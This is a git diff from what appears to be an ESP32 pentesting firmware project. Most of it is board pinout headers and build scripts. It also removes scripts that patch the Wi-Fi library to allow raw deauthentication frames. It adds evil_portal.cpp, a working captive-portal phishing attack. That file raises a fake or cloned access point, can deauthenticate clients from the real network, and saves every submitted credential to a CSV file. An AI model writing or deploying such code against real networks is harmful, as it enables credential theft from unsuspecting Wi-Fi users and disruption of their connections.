+// FM
+// #define FM_SI4713
+// #define FM_RSTPIN 40
+
+// RTC
+// #define HAS_RTC
+
+// RGB LED
+// #define HAS_RGB_LED
+// #define RGB_LED=21
+
+// BadUSB
+#define USB_as_HID=1
+// #define BAD_TX=GROVE_SDA
+//#define BAD_RX=GROVE_SCL
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/pinouts/m5stack-cardputer.h b/boards/pinouts/m5stack-cardputer.h
new file mode 100644
index 00000000..e28a11e8
--- /dev/null
+++ b/boards/pinouts/m5stack-cardputer.h
@@ -0,0 +1,194 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+#include "soc/soc_caps.h"
+
+#define USB_VID 0x303a
+#define USB_PID 0x1001
+
+static const uint8_t TX = 43;
+static const uint8_t RX = 44;
+
+static const uint8_t TXD2 = 1;
+static const uint8_t RXD2 = 2;
+
+static const uint8_t SDA = 13;
+static const uint8_t SCL = 15;
+
+static const uint8_t SS = 12;
+static const uint8_t MOSI = 14;
+static const uint8_t MISO = 39;
+static const uint8_t SCK = 40;
+
+static const uint8_t G0 = 0;
+static const uint8_t G1 = 1;
+static const uint8_t G2 = 2;
+static const uint8_t G3 = 3;
+static const uint8_t G4 = 4;
+static const uint8_t G5 = 5;
+static const uint8_t G6 = 6;
+static const uint8_t G7 = 7;
+static const uint8_t G8 = 8;
+static const uint8_t G9 = 9;
+static const uint8_t G10 = 10;
+static const uint8_t G11 = 11;
+static const uint8_t G12 = 12;
+static const uint8_t G13 = 13;
+static const uint8_t G14 = 14;
+static const uint8_t G15 = 15;
+static const uint8_t G39 = 39;
+static const uint8_t G40 = 40;
+static const uint8_t G41 = 41;
+static const uint8_t G42 = 42;
+static const uint8_t G43 = 43;
+static const uint8_t G44 = 44;
+static const uint8_t G46 = 46;
+
+static const uint8_t ADC1 = 7;
+static const uint8_t ADC2 = 8;
+
+#define SHIFT 0x80
+#define KEY_LEFT_CTRL 0x80
+#define KEY_LEFT_SHIFT 0x81
+#define KEY_LEFT_ALT 0x82
+#define KEY_FN 0xff
+#define KEY_OPT 0x00
+#define KEY_BACKSPACE 0x2a
+#define KEY_TAB 0x2b
+#define KEY_ENTER 0x28
+
+static const uint8_t _kb_asciimap[128] = {
+ 0x00, // NUL
+ 0x00, // SOH
+ 0x00, // STX
+ 0x00, // ETX
+ 0x00, // EOT
+ 0x00, // ENQ
+ 0x00, // ACK
+ 0x00, // BEL
+ KEY_BACKSPACE, // BS Backspace
+ KEY_TAB, // TAB Tab
+ KEY_ENTER, // LF Enter
+ 0x00, // VT
+ 0x00, // FF
+ 0x00, // CR
+ 0x00, // SO
+ 0x00, // SI
+ 0x00, // DEL
+ 0x00, // DC1
+ 0x00, // DC2
+ 0x00, // DC3
+ 0x00, // DC4
+ 0x00, // NAK
+ 0x00, // SYN
+ 0x00, // ETB
+ 0x00, // CAN
+ 0x00, // EM
+ 0x00, // SUB
+ 0x00, // ESC
+ 0x00, // FS
+ 0x00, // GS
+ 0x00, // RS
+ 0x00, // US
+
+ 0x2c, // ' '
+ 0x1e | SHIFT, // !
+ 0x34 | SHIFT, // "
+ 0x20 | SHIFT, // #
+ 0x21 | SHIFT, // $
+ 0x22 | SHIFT, // %
+ 0x24 | SHIFT, // &
+ 0x34, // '
+ 0x26 | SHIFT, // (
+ 0x27 | SHIFT, // )
+ 0x25 | SHIFT, // *
+ 0x2e | SHIFT, // +
+ 0x36, // ,
+ 0x2d, // -
+ 0x37, // .
+ 0x38, // /
+ 0x27, // 0
+ 0x1e, // 1
+ 0x1f, // 2
+ 0x20, // 3
+ 0x21, // 4
+ 0x22, // 5
+ 0x23, // 6
+ 0x24, // 7
+ 0x25, // 8
+ 0x26, // 9
+ 0x33 | SHIFT, // :
+ 0x33, // ;
+ 0x36 | SHIFT, // <
+ 0x2e, // =
+ 0x37 | SHIFT, // >
+ 0x38 | SHIFT, // ?
+ 0x1f | SHIFT, // @
+ 0x04 | SHIFT, // A
+ 0x05 | SHIFT, // B
+ 0x06 | SHIFT, // C
+ 0x07 | SHIFT, // D
+ 0x08 | SHIFT, // E
+ 0x09 | SHIFT, // F
+ 0x0a | SHIFT, // G
+ 0x0b | SHIFT, // H
+ 0x0c | SHIFT, // I
+ 0x0d | SHIFT, // J
+ 0x0e | SHIFT, // K
+ 0x0f | SHIFT, // L
+ 0x10 | SHIFT, // M
+ 0x11 | SHIFT, // N
+ 0x12 | SHIFT, // O
+ 0x13 | SHIFT, // P
+ 0x14 | SHIFT, // Q
+ 0x15 | SHIFT, // R
+ 0x16 | SHIFT, // S
+ 0x17 | SHIFT, // T
+ 0x18 | SHIFT, // U
+ 0x19 | SHIFT, // V
+ 0x1a | SHIFT, // W
+ 0x1b | SHIFT, // X
+ 0x1c | SHIFT, // Y
+ 0x1d | SHIFT, // Z
+ 0x2f, // [
+ 0x31, // bslash
+ 0x30, // ]
+ 0x23 | SHIFT, // ^
+ 0x2d | SHIFT, // _
+ 0x35, // `
+ 0x04, // a
+ 0x05, // b
+ 0x06, // c
+ 0x07, // d
+ 0x08, // e
+ 0x09, // f
+ 0x0a, // g
+ 0x0b, // h
+ 0x0c, // i
+ 0x0d, // j
+ 0x0e, // k
+ 0x0f, // l
+ 0x10, // m
+ 0x11, // n
+ 0x12, // o
+ 0x13, // p
+ 0x14, // q
+ 0x15, // r
+ 0x16, // s
+ 0x17, // t
+ 0x18, // u
+ 0x19, // v
+ 0x1a, // w
+ 0x1b, // x
+ 0x1c, // y
+ 0x1d, // z
+ 0x2f | SHIFT, // {
+ 0x31 | SHIFT, // |
+ 0x30 | SHIFT, // }
+ 0x35 | SHIFT, // ~
+ 0 // DEL
+};
+
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/m5stack-core.h b/boards/pinouts/m5stack-core.h
new file mode 100644
index 00000000..294ba3a0
--- /dev/null
+++ b/boards/pinouts/m5stack-core.h
@@ -0,0 +1,51 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+
+#define HAS_KEYBOARD //has keyboard to use
+#define HAS_KEYBOARD_HID //has keyboard to use
+#define KB_HID_EXIT_MSG "fn + esc to exit"
+
+static const uint8_t TX = 1;
+static const uint8_t RX = 3;
+
+static const uint8_t TXD2 = 17;
+static const uint8_t RXD2 = 16;
+
+static const uint8_t SDA = 21;
+static const uint8_t SCL = 22;
+
+static const uint8_t SS = 5;
+static const uint8_t MOSI = 23;
+static const uint8_t MISO = 19;
+static const uint8_t SCK = 18;
+
+static const uint8_t G23 = 23;
+static const uint8_t G19 = 19;
+static const uint8_t G18 = 18;
+static const uint8_t G3 = 3;
+static const uint8_t G16 = 16;
+static const uint8_t G21 = 21;
+static const uint8_t G2 = 2;
+static const uint8_t G12 = 12;
+static const uint8_t G15 = 15;
+static const uint8_t G35 = 35;
+static const uint8_t G36 = 36;
+static const uint8_t G25 = 25;
+static const uint8_t G26 = 26;
+static const uint8_t G1 = 1;
+static const uint8_t G17 = 17;
+static const uint8_t G22 = 22;
+static const uint8_t G5 = 5;
+static const uint8_t G13 = 13;
+static const uint8_t G0 = 0;
+static const uint8_t G34 = 34;
+
+static const uint8_t DAC1 = 25;
+static const uint8_t DAC2 = 26;
+
+static const uint8_t ADC1 = 35;
+static const uint8_t ADC2 = 36;
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/m5stack-core2.h b/boards/pinouts/m5stack-core2.h
new file mode 100644
index 00000000..dcfc9935
--- /dev/null
+++ b/boards/pinouts/m5stack-core2.h
@@ -0,0 +1,52 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+
+#define TX2 14
+#define RX2 13
+
+static const uint8_t TX = 1;
+static const uint8_t RX = 3;
+
+static const uint8_t SDA = 32;
+static const uint8_t SCL = 33;
+
+static const uint8_t SS = 5;
+static const uint8_t MOSI = 23;
+static const uint8_t MISO = 38;
+static const uint8_t SCK = 18;
+
+static const uint8_t G23 = 23;
+static const uint8_t G38 = 38;
+static const uint8_t G18 = 18;
+static const uint8_t G3 = 3;
+static const uint8_t G13 = 13;
+static const uint8_t G21 = 21;
+static const uint8_t G32 = 32;
+static const uint8_t G27 = 27;
+static const uint8_t G2 = 2;
+static const uint8_t G35 = 35;
+static const uint8_t G36 = 36;
+static const uint8_t G25 = 25;
+static const uint8_t G26 = 26;
+static const uint8_t G1 = 1;
+static const uint8_t G14 = 14;
+static const uint8_t G22 = 22;
+static const uint8_t G33 = 33;
+static const uint8_t G19 = 19;
+static const uint8_t G0 = 0;
+static const uint8_t G34 = 34;
+
+static const uint8_t G12 = 12;
+static const uint8_t G15 = 15;
+static const uint8_t G17 = 17;
+static const uint8_t G5 = 5;
+
+static const uint8_t DAC1 = 25;
+static const uint8_t DAC2 = 26;
+
+static const uint8_t ADC1 = 35;
+static const uint8_t ADC2 = 36;
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/m5stack-cores3.h b/boards/pinouts/m5stack-cores3.h
new file mode 100644
index 00000000..1cab33ba
--- /dev/null
+++ b/boards/pinouts/m5stack-cores3.h
@@ -0,0 +1,124 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+#include "soc/soc_caps.h"
+
+#define USB_VID 0x303a
+#define USB_PID 0x1001
+
+// Some boards have too low voltage on this pin (board design bug)
+// Use different pin with 3V and connect with 48
+// and change this setup for the chosen pin (for example 38)
+static const uint8_t LED_BUILTIN = SOC_GPIO_PIN_COUNT + 48;
+#define BUILTIN_LED LED_BUILTIN // backward compatibility
+#define LED_BUILTIN LED_BUILTIN
+#define RGB_BUILTIN LED_BUILTIN
+#define RGB_BRIGHTNESS 64
+
+static const uint8_t TX = 43;
+static const uint8_t RX = 44;
+
+static const uint8_t TXD2 = 17;
+static const uint8_t RXD2 = 18;
+
+static const uint8_t SDA = 12;
+static const uint8_t SCL = 11;
+
+static const uint8_t SS = 15;
+static const uint8_t MOSI = 37;
+static const uint8_t MISO = 35;
+static const uint8_t SCK = 36;
+
+static const uint8_t G0 = 0;
+static const uint8_t G1 = 1;
+static const uint8_t G2 = 2;
+static const uint8_t G3 = 3;
+static const uint8_t G4 = 4;
+static const uint8_t G5 = 5;
+static const uint8_t G6 = 6;
+static const uint8_t G7 = 7;
+static const uint8_t G8 = 8;
+static const uint8_t G9 = 9;
+static const uint8_t G11 = 11;
+static const uint8_t G12 = 12;
+static const uint8_t G13 = 13;
+static const uint8_t G14 = 14;
+static const uint8_t G17 = 17;
+static const uint8_t G18 = 18;
+static const uint8_t G19 = 19;
+static const uint8_t G20 = 20;
+static const uint8_t G21 = 21;
+static const uint8_t G33 = 33;
+static const uint8_t G34 = 34;
+static const uint8_t G35 = 35;
+static const uint8_t G36 = 36;
+static const uint8_t G37 = 37;
+static const uint8_t G38 = 38;
+static const uint8_t G45 = 45;
+static const uint8_t G46 = 46;
+
+static const uint8_t ADC = 10;
+
+
+#define HAS_RTC
+#define USB_as_HID
+
+#define HAS_TOUCH
+
+#define ALLOW_ALL_GPIO_FOR_IR_RF
+
+#define LED GROVE_SDA
+#define LED_ON HIGH
+#define LED_OFF LOW
+
+// Font sizes
+#define FP 1
+#define FM 2
+#define FG 3
+
+// Screen Setup
+#define HAS_SCREEN
+#define ROTATION 1
+
+// TFT_eSPI Setup
+#define USER_SETUP_LOADED
+#define ILI9341_DRIVER
+#define TFT_INVERSION_ON
+#define USE_HSPI_PORT
+#define M5STACK
+#define TFT_HEIGHT 320
+#define TFT_WIDTH 240
+#define TFT_MOSI MOSI
+#define TFT_MISO MISO
+#define TFT_SCLK SCK
+#define TFT_CS G3
+#define TFT_DC G35
+#define TFT_RST -1
+#define TFT_BL -1
+#define TOUCH_CS -1
+#define SMOOTH_FONT 1
+#define SPI_FREQUENCY 20000000
+#define SPI_READ_FREQUENCY 20000000
+#define SPI_TOUCH_FREQUENCY 2500000
+
+
+#define BTN_ALIAS '"Ok"'
+#define BTN_PIN -1
+#define BTN_ACT LOW
+
+// SD Card Setup pins
+#define SDCARD_CS G4
+#define SDCARD_SCK SCK
+#define SDCARD_MISO MISO
+#define SDCARD_MOSI MOSI
+
+// Default I2C port
+#define GROVE_SDA 32
+#define GROVE_SCL 33
+
+#define SPI_SCK_PIN 0
+#define SPI_MOSI_PIN GROVE_SDA
+#define SPI_MISO_PIN GROVE_SCL
+#define SPI_SS_PIN 26
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/m5stack-cplus1_1.h b/boards/pinouts/m5stack-cplus1_1.h
new file mode 100644
index 00000000..35092416
--- /dev/null
+++ b/boards/pinouts/m5stack-cplus1_1.h
@@ -0,0 +1,36 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+
+static const uint8_t TX = 1;
+static const uint8_t RX = 3;
+
+static const uint8_t TXD2 = 33;
+static const uint8_t RXD2 = 32;
+
+static const uint8_t SDA = 32;
+static const uint8_t SCL = 33;
+
+static const uint8_t SS = 5;
+static const uint8_t MOSI = 15;
+static const uint8_t MISO = 36;
+static const uint8_t SCK = 13;
+
+static const uint8_t G9 = 9;
+static const uint8_t G10 = 10;
+static const uint8_t G37 = 37;
+static const uint8_t G39 = 39;
+static const uint8_t G32 = 32;
+static const uint8_t G33 = 33;
+static const uint8_t G26 = 26;
+static const uint8_t G36 = 36;
+static const uint8_t G0 = 0;
+
+static const uint8_t DAC1 = 25;
+static const uint8_t DAC2 = 26;
+
+static const uint8_t ADC1 = 35;
+static const uint8_t ADC2 = 36;
+
+#endif /* Pins_Arduino_h */
diff --git a/boards/pinouts/m5stack-cplus2.h b/boards/pinouts/m5stack-cplus2.h
new file mode 100644
index 00000000..91808918
--- /dev/null
+++ b/boards/pinouts/m5stack-cplus2.h
@@ -0,0 +1,33 @@
+#ifndef Pins_Arduino_h
+#define Pins_Arduino_h
+
+#include
+
+static const uint8_t TX = 1;
+static const uint8_t RX = 3;
+
+static const uint8_t SDA = 32;
+static const uint8_t SCL = 33;
+
+static const uint8_t SS = 5;
+static const uint8_t MOSI = 15;
+static const uint8_t MISO = 36;
+static const uint8_t SCK = 13;
+
+static const uint8_t G9 = 9;
+static const uint8_t G10 = 10;
+static const uint8_t G37 = 37;
+static const uint8_t G39 = 39;
+static const uint8_t G32 = 32;
+static const uint8_t G33 = 33;
+static const uint8_t G26 = 26;
+static const uint8_t G36 = 36;
+static const uint8_t G0 = 0;
+
+static const uint8_t DAC1 = 25;
+static const uint8_t DAC2 = 26;
+
+static const uint8_t ADC1 = 35;
+static const uint8_t ADC2 = 36;
+
+#endif /* Pins_Arduino_h */
\ No newline at end of file
diff --git a/boards/pinouts/pins_arduino.h b/boards/pinouts/pins_arduino.h
new file mode 100644
index 00000000..026ba536
--- /dev/null
+++ b/boards/pinouts/pins_arduino.h
@@ -0,0 +1,23 @@
+#ifdef T_EMBED_1101
+#include "lilygo-t-embed-cc1101.h"
+#elif T_EMBED
+#include "lilygo-t-embed.h"
+#elif T_DECK
+#include "lilygo-t-deck.h"
+#elif ARDUINO_M5STACK_CARDPUTER
+#include "m5stack-cardputer.h"
+#elif CYD_2432S028
+#include "CYD-2432S028.h"
+#elif ARDUINO_M5STACK_CORE
+#include "m5stack-core.h"
+#elif ARDUINO_M5STACK_CORES3
+#include "m5stack-cores3.h"
+#elif ARDUINO_M5STACK_CORE2
+#include "m5stack-core2.h"
+#elif ARDUINO_M5STICK_C_PLUS
+#include "m5stack-cplus1_1.h"
+#elif ARDUINO_M5STICK_C_PLUS2
+#include "m5stack-cplus2.h"
+#elif ESP32S3DEVKITC1
+#include "ESP-General.h"
+#endif
diff --git a/boards/pinouts/variant.cpp b/boards/pinouts/variant.cpp
new file mode 100644
index 00000000..ac53c414
--- /dev/null
+++ b/boards/pinouts/variant.cpp
@@ -0,0 +1,2 @@
+#define digitalWrite(pin, level) gpio_set_level((gpio_num_t)pin, level)
+#define digitalRead(pin) gpio_get_level((gpio_num_t)pin)
\ No newline at end of file
diff --git a/build.bat b/build.bat
deleted file mode 100644
index 603f1afa..00000000
--- a/build.bat
+++ /dev/null
@@ -1,13 +0,0 @@
-esptool --chip esp32s3 merge_bin --output Bruce3_Cardputer.bin 0x0 .pio\build\m5stack-cardputer\bootloader.bin 0x8000 .pio\build\m5stack-cardputer\partitions.bin 0x10000 .pio\build\m5stack-cardputer\firmware.bin
-
-esptool --chip esp32 merge_bin --output Bruce3_cplus2.bin 0x1000 .pio\build\m5stack-cplus2\bootloader.bin 0x8000 .pio\build\m5stack-cplus2\partitions.bin 0x10000 .pio\build\m5stack-cplus2\firmware.bin
-
-esptool --chip esp32 merge_bin --output Bruce3_cplus1_1.bin 0x1000 .pio\build\m5stack-cplus1_1\bootloader.bin 0x8000 .pio\build\m5stack-cplus1_1\partitions.bin 0x10000 .pio\build\m5stack-cplus1_1\firmware.bin
-
-esptool --chip esp32 merge_bin --output Bruce3_core2.bin 0x1000 .pio/build/m5stack-core2/bootloader.bin 0x8000 .pio/build/m5stack-core2/partitions.bin 0x10000 .pio/build/m5stack-core2/firmware.bin
-
-esptool --chip esp32 merge_bin --output Bruce3_core.bin 0x1000 .pio/build/m5stack-core/bootloader.bin 0x8000 .pio/build/m5stack-core/partitions.bin 0x10000 .pio/build/m5stack-core/firmware.bin
-
-esptool --chip esp32 merge_bin --output Bruce3_core4mb.bin 0x1000 .pio/build/m5stack-core4mb/bootloader.bin 0x8000 .pio/build/m5stack-core4mb/partitions.bin 0x10000 .pio/build/m5stack-core4mb/firmware.bin
-
-esptool --chip esp32s3 merge_bin --output Bruce3_T-Embed_CC1101.bin 0x0 .pio\build\lilygo-t-embed-cc1101\bootloader.bin 0x8000 .pio\build\lilygo-t-embed-cc1101\partitions.bin 0x10000 .pio\build\lilygo-t-embed-cc1101\firmware.bin
\ No newline at end of file
diff --git a/build.py b/build.py
new file mode 100644
index 00000000..467b42be
--- /dev/null
+++ b/build.py
@@ -0,0 +1,6 @@
+Import("env")
+env.AddCustomTarget(
+ "build-firmware",
+ ["$BUILD_DIR/bootloader.bin","$BUILD_DIR/partitions.bin","$BUILD_DIR/firmware.bin"],
+ 'pio pkg exec -p "tool-esptoolpy" -- esptool.py --chip ${BOARD_MCU} merge_bin --output Bruce_${PIOENV}.bin 0x0 ${BUILD_DIR}\\bootloader.bin 0x8000 ${BUILD_DIR}\\partitions.bin 0x10000 ${BUILD_DIR}\\firmware.bin'
+)
\ No newline at end of file
diff --git a/build.sh b/build.sh
deleted file mode 100755
index 7f5456d5..00000000
--- a/build.sh
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/bin/bash
-ESPTOOL_PATH="$HOME/.local/bin"
-ESPTOOL=$([[ -f $ESPTOOL_PATH/esptool.py ]] && echo "$ESPTOOL_PATH/esptool.py" || echo "$ESPTOOL_PATH/esptool")
-
-$ESPTOOL --chip esp32s3 merge_bin --output Bruce3_Cardputer.bin 0x0 .pio/build/m5stack-cardputer/bootloader.bin 0x8000 .pio/build/m5stack-cardputer/partitions.bin 0x10000 .pio/build/m5stack-cardputer/firmware.bin
-$ESPTOOL --chip esp32 merge_bin --output Bruce3_cplus2.bin 0x1000 .pio/build/m5stack-cplus2/bootloader.bin 0x8000 .pio/build/m5stack-cplus2/partitions.bin 0x10000 .pio/build/m5stack-cplus2/firmware.bin
-$ESPTOOL --chip esp32 merge_bin --output Bruce3_cplus1_1.bin 0x1000 .pio/build/m5stack-cplus1_1/bootloader.bin 0x8000 .pio/build/m5stack-cplus1_1/partitions.bin 0x10000 .pio/build/m5stack-cplus1_1/firmware.bin
-$ESPTOOL --chip esp32 merge_bin --output Bruce3_core2.bin 0x1000 .pio/build/m5stack-core2/bootloader.bin 0x8000 .pio/build/m5stack-core2/partitions.bin 0x10000 .pio/build/m5stack-core2/firmware.bin
-$ESPTOOL --chip esp32 merge_bin --output Bruce3_core16mb.bin 0x1000 .pio/build/m5stack-core16mb/bootloader.bin 0x8000 .pio/build/m5stack-core16mb/partitions.bin 0x10000 .pio/build/m5stack-core16mb/firmware.bin
-$ESPTOOL --chip esp32 merge_bin --output Bruce3_core4mb.bin 0x1000 .pio/build/m5stack-core4mb/bootloader.bin 0x8000 .pio/build/m5stack-core4mb/partitions.bin 0x10000 .pio/build/m5stack-core4mb/firmware.bin
diff --git a/clean.sh b/clean.sh
deleted file mode 100755
index 05da95ca..00000000
--- a/clean.sh
+++ /dev/null
@@ -1,2 +0,0 @@
-#!/bin/bash
-rm -f Bruce3_*
\ No newline at end of file
diff --git a/deauth_setup.bat b/deauth_setup.bat
deleted file mode 100644
index 0fb11fa6..00000000
--- a/deauth_setup.bat
+++ /dev/null
@@ -1,31 +0,0 @@
-@echo off
-setlocal enabledelayedexpansion
-
-rem Define file paths
-set "esp32_file=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32\lib\libnet80211.a"
-set "esp32s3_file=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32s3\lib\libnet80211.a"
-
-set "esp32_file2=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32\lib\libnet80211_temp.a"
-set "esp32s3_file2=%userprofile%\.platformio\packages\framework-arduinoespressif32\tools\sdk\esp32s3\lib\libnet80211_temp.a"
-
-rem Now execute objcopy commands (only if backups were created)
-"%userprofile%"\.platformio\packages\toolchain-xtensa-esp32\xtensa-esp32-elf\bin\objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check "%esp32_file%" "%esp32_file2%"
-
-rem Rename the original file to .old
-ren "%esp32_file%" "libnet80211.a.old"
-
-rem Rename the _temp to original
-ren "%esp32_file2%" "libnet80211.a"
-
-rem Now execute objcopy commands (only if backups were created)
-"%userprofile%"\.platformio\packages\toolchain-xtensa-esp32s3\xtensa-esp32s3-elf\bin\objcopy --weaken-symbol=ieee80211_raw_frame_sanity_check "%esp32s3_file%" "%esp32s3_file2%"
-
-rem Rename the original file to .old
-ren "%esp32s3_file%" "libnet80211.a.old"
-
-rem Rename the _temp to original
-ren "%esp32s3_file2%" "libnet80211.a"
-
-
-PAUSE
-
diff --git a/deauth_setup.sh b/deauth_setup.sh
deleted file mode 100755
index 8504357a..00000000
--- a/deauth_setup.sh
+++ /dev/null
@@ -1,41 +0,0 @@
-#!/bin/bash
-
-# Define paths with proper home expansion
-
-pio pkg install -p espressif32 -t toolchain-xtensa32
-
-esp32_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211.a"
-esp32s3_file="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211.a"
-
-esp32_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32/lib/libnet80211_temp.a"
-esp32s3_file_temp="$HOME/.platformio/packages/framework-arduinoespressif32/tools/sdk/esp32s3/lib/libnet80211_temp.a"
-
-# Definir caminhos para as ferramentas objcopy
-toolchain_esp32="$HOME/.platformio/packages/toolchain-xtensa-esp32/xtensa-esp32-elf/bin/objcopy"
-toolchain_esp32s3="$HOME/.platformio/packages/toolchain-xtensa-esp32s3/xtensa-esp32s3-elf/bin/objcopy"
-
-# Verificar se os arquivos existem antes de executar os comandos
-if [[ -f "$esp32_file" && -f "$esp32s3_file" ]]; then
- # Execute objcopy commands for ESP32
- $toolchain_esp32 --weaken-symbol=ieee80211_raw_frame_sanity_check "$esp32_file" "$esp32_file_temp"
-
- # Rename the original file to .old
- mv "$esp32_file" "${esp32_file}.old"
-
- # Rename the _temp to original
- mv "$esp32_file_temp" "$esp32_file"
-
- # Execute objcopy commands for ESP32-S3
- $toolchain_esp32s3 --weaken-symbol=ieee80211_raw_frame_sanity_check "$esp32s3_file" "$esp32s3_file_temp"
-
- # Rename the original file to .old
- mv "$esp32s3_file" "${esp32s3_file}.old"
-
- # Rename the _temp to original
- mv "$esp32s3_file_temp" "$esp32s3_file"
-
- echo "Done."
-else
- echo "One or more specified files were not found."
- exit 1
-fi
diff --git a/html/AsyncWebServer/evil_portal.cpp b/html/AsyncWebServer/evil_portal.cpp
new file mode 100644
index 00000000..84407318
--- /dev/null
+++ b/html/AsyncWebServer/evil_portal.cpp
@@ -0,0 +1,305 @@
+#include "evil_portal.h"
+#include "globals.h"
+#include "mykeyboard.h"
+#include "wifi_common.h"
+#include "sd_functions.h"
+#include "wifi_atks.h"
+
+AsyncWebServer *ep; // initialise webserver
+DNSServer dnsServer;
+
+String html_file, ep_logo, last_cred;
+String AP_name = "Free Wifi";
+int totalCapturedCredentials = 0;
+int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
+String capturedCredentialsHtml = "";
+
+// Default Drauth Frame
+const uint8_t deauth_frame_default2[] = {
+ 0xc0, 0x00, 0x3a, 0x01,
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0xf0, 0xff, 0x02, 0x00
+};
+
+class CaptiveRequestHandler : public AsyncWebHandler {
+public:
+ CaptiveRequestHandler() {}
+ virtual ~CaptiveRequestHandler() {}
+
+ bool canHandle(AsyncWebServerRequest *request){
+ //request->addInterestingHeader("ANY");
+ return true;
+ }
+
+ void handleRequest(AsyncWebServerRequest *request) {
+ AsyncResponseStream *response = request->beginResponseStream("text/html");
+ if(request->hasParam("ssid")) request->redirect("/ssid"); // If there is a parameter called "ssid", changes network
+ else if(request->params()>0) { // Else if there are other parameters, store in the memory
+ String html_temp = ""; // Else.. after all that, redirects to the page
+ String csvLine = "";
+ last_cred="";
+ for (int i = 0; i < request->params(); i++) {
+ AsyncWebParameter *param = request->getParam(i);
+ html_temp += param->name() + ": " + param->value() + " \n";
+ // Prepara dados para salvar no SD
+ if (i != 0) {
+ csvLine += ",";
+ last_cred +=",";
+ }
+ csvLine += param->name() + ": " + param->value();
+ last_cred += param->name().substring(0,1) + ": " + param->value();
+ }
+ html_temp += " \n";
+ saveToCSV("/Bruce_creds.csv", csvLine);
+ capturedCredentialsHtml = html_temp + capturedCredentialsHtml;
+ totalCapturedCredentials++;
+ request->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
+ }
+ else {
+ request->redirect("/");
+ }
+ }
+};
+
+void startEvilPortal(String tssid, uint8_t channel, bool deauth) {
+ int tmp=millis(); // one deauth frame each 30ms at least
+ bool redraw=true;
+ Serial.begin(115200);
+ // Definição da matriz "Options"
+ options = {
+ {"Default", [=]() { chooseHtml(false); }},
+ {"Custom Html", [=]() { chooseHtml(true); }},
+ };
+ delay(200);
+ loopOptions(options);
+
+ while(checkNextPress()){ yield(); } // debounce
+ delay(200);
+ // tssid="" means that are opening a virgin Evil Portal
+ if (tssid=="") {
+ AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
+ }
+ else { // tssid != "" means that is was cloned and can deploy Deauth
+ //memcpy(ap_record.bssid, bssid, 6);
+ memcpy(deauth_frame, deauth_frame_default2, sizeof(deauth_frame_default2));
+ wsl_bypasser_send_raw_frame(&ap_record,channel);
+ AP_name = tssid;
+ }
+
+ wifiConnected=true;
+ drawMainBorder();
+ displayRedStripe("Starting..",TFT_WHITE,bruceConfig.priColor);
+
+ IPAddress AP_GATEWAY(172, 0, 0, 1);
+ WiFi.mode(WIFI_MODE_AP);
+ WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
+ WiFi.softAP(AP_name,emptyString,channel);
+
+ tmp=millis();
+ while(millis() - tmp < 3000) yield();
+ dnsServer.start(53, "*", WiFi.softAPIP());
+ ep = new AsyncWebServer(80);
+
+ // if url isn't found
+ ep->onNotFound([](AsyncWebServerRequest * request) {
+ request->redirect("/");
+ });
+
+ ep->on("/creds", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", creds_GET());
+ });
+
+ ep->on("/ssid", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", ssid_GET());
+ });
+
+ ep->on("/postssid", HTTP_GET, [](AsyncWebServerRequest * request) {
+ if(request->hasArg("ssid")) AP_name = request->arg("ssid").c_str();
+ request->send(200, "text/html", ssid_POST());
+ ep->end(); // pára o servidor
+ wifiDisconnect(); // desliga o WiFi
+ WiFi.softAP(AP_name); // reinicia WiFi com novo SSID
+ ep->begin(); // reinicia o servidor
+ previousTotalCapturedCredentials=-1; // redesenha a tela
+ });
+
+ ep->on("/clear", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", clear_GET());
+ });
+
+ ep->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(200, "text/html", html_file);
+ });
+
+ ep->addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER); //only when requested from AP
+
+ log_d("Total heap: %d", ESP.getHeapSize());
+ log_d("Free heap: %d", ESP.getFreeHeap());
+ log_d("Total PSRAM: %d", ESP.getPsramSize());
+ log_d("Free PSRAM: %d", ESP.getFreePsram());
+
+ if(psramFound()) ep = (AsyncWebServer*)ps_malloc(sizeof(AsyncWebServer));
+ else ep = (AsyncWebServer*)malloc(sizeof(AsyncWebServer));
+
+ new (ep) AsyncWebServer(80);
+
+ ep->begin();
+ tft.fillRect(6, 27, tftWidth-12, tftHeight-33, bruceConfig.bgColor);
+
+ bool hold_deauth = false;
+ tmp=millis(); // one deauth frame each 30ms at least
+ redraw=true;
+ while(1) {
+ if(redraw) {
+ drawMainBorder();
+ tft.setTextSize(FM);
+ tft.setTextColor(TFT_RED);
+ tft.drawCentreString("Evil Portal",tftWidth/2, 29, SMOOTH_FONT);
+ tft.setCursor(7,49);
+ tft.setTextColor(bruceConfig.priColor);
